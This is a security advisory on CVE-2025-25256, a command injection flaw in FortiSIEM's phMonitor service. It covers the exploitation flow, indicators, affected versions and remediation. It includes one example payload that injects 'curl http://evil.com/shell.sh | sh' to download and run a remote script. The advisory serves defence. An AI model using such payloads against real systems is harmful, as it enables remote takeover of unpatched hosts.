CVE-2025-25256 affects FortiSIEM

1. Vulnerability Overview

CVE-2025-25256 is a critical command injection bug in Fortinet FortiSIEM’s phMonitor service, exposed on TCP port 7900. It enables unauthenticated remote attackers to execute OS-level commands by submitting specially crafted CLI requests. The vulnerability is due to improper handling of user-supplied input (CWE-78).

• Severity: CVSS 9.8 (Critical)
• Component: phMonitor (TCP port 7900)
• Attack Surface: External/Remote, No authentication required
• Typical Impact: Remote code execution (RCE) as the FortiSIEM system user

2. Technical Analysis & Exploitation Flow

• Vulnerable Mechanism: The phMonitor service parses inbound messages from the CLI without sufficiently sanitizing or escaping special characters embedded in command fields.
• Entry Point: Network traffic to TCP port 7900, specifically crafted CLI command payloads

Exploit Example:

1. Attacker identifies an exposed FortiSIEM instance: TCP port 7900 is open to the internet or accessible from an untrusted segment.
2. Exploit payload is sent: The attacker crafts a CLI request with injected OS commands, often chaining malicious payloads using operators such as ;, &&, or pipe symbols.
3. Command is interpreted by the service: Due to flawed sanitization, the payload is passed directly to the system shell for execution.
4. Result: Arbitrary code runs on the OS with high privileges (typically the FortiSIEM user/service context).

Practical Exploit Scenario:

• The attacker sends a malicious TCP payload:
  {"cmd":"ping; curl http://evil.com/shell.sh | sh", ...}
  The semicolon ; chains an additional shell command after a legitimate CLI function. If successful, this downloads and runs a remote shell script, providing persistent control.

3. Exploitation Notes (TTPs and Observables)

Network Indicators:

• Unusual or unexpected inbound connections to TCP port 7900, especially from external or unfamiliar IPs
• Large or malformed CLI payloads as opposed to routine management commands

Post-Exploitation Behavior:

• Creation of unauthorized system accounts, deployment of reverse shells, downloading of additional malware
• Outbound connections that attempt to exfiltrate data or call back to C2 (command and control) infrastructure

Detection Guidance:

• Attack traffic often blends with legitimate phMonitor operations; payload signature-based detection is unreliable.
• Audit system logs for unrecognized process spawns by the phMonitor service.
• Use network segmentation/ACLs to isolate impacted hosts.

4. Affected/Fix Versions

• 7.4 Not affected N/A No action needed
• 7.3 7.3.0-7.3.1 7.3.2 Restrict access to TCP 7900 to trusted hosts
• 7.2 7.2.0-7.2.5 7.2.6 Same as above
• 7.1 7.1.0-7.1.7 7.1.8 Same as above
• 7.0 7.0.0-7.0.3 7.0.4 Same as above
• 6.7 6.7.0-6.7.9 6.7.10 Same as above
• <=6.6 All No patch Migrate or decommission
• <=5.4 All No patch Migrate or decommission

5. Defensive & Remediation Notes

• Immediate: Patch to a fixed version.
• If patching not possible:
• Restrict ingress to TCP 7900 at network/host layer
• Monitor for anomalous phMonitor traffic patterns
• Remove or isolate legacy systems unable to be remediated
• Strategic: Regularly audit network exposure of management interfaces; monitor for unusual command executions.

6. Analyst Takeaways

• Exploit code is publicly available and has been observed targeting FortiSIEM installations.
• Exploitation can be “noiseless”—payloads leave few obvious artifacts.
• Likelihood of ransomware or data theft operations increases if RCE is achieved.
• Vulnerability demonstrates a persistent lack of secure input handling in FortiSIEM’s remote management mechanisms.
• Enforce segmentation, minimal exposure of management ports, and centralized logging, especially for legacy devices.

Summary:

CVE-2025-25256 presents a severe risk of full system compromise for unpatched FortiSIEM instances. It is exploitable without authentication, and reliable exploit code is in circulation. For infrastructure where patching lags, restricting access to TCP port 7900 is a critical stopgap measure. Monitor for unauthorized system changes—especially those following inbound TCP 7900 activity—and prioritize patching or decommissioning at-risk instances.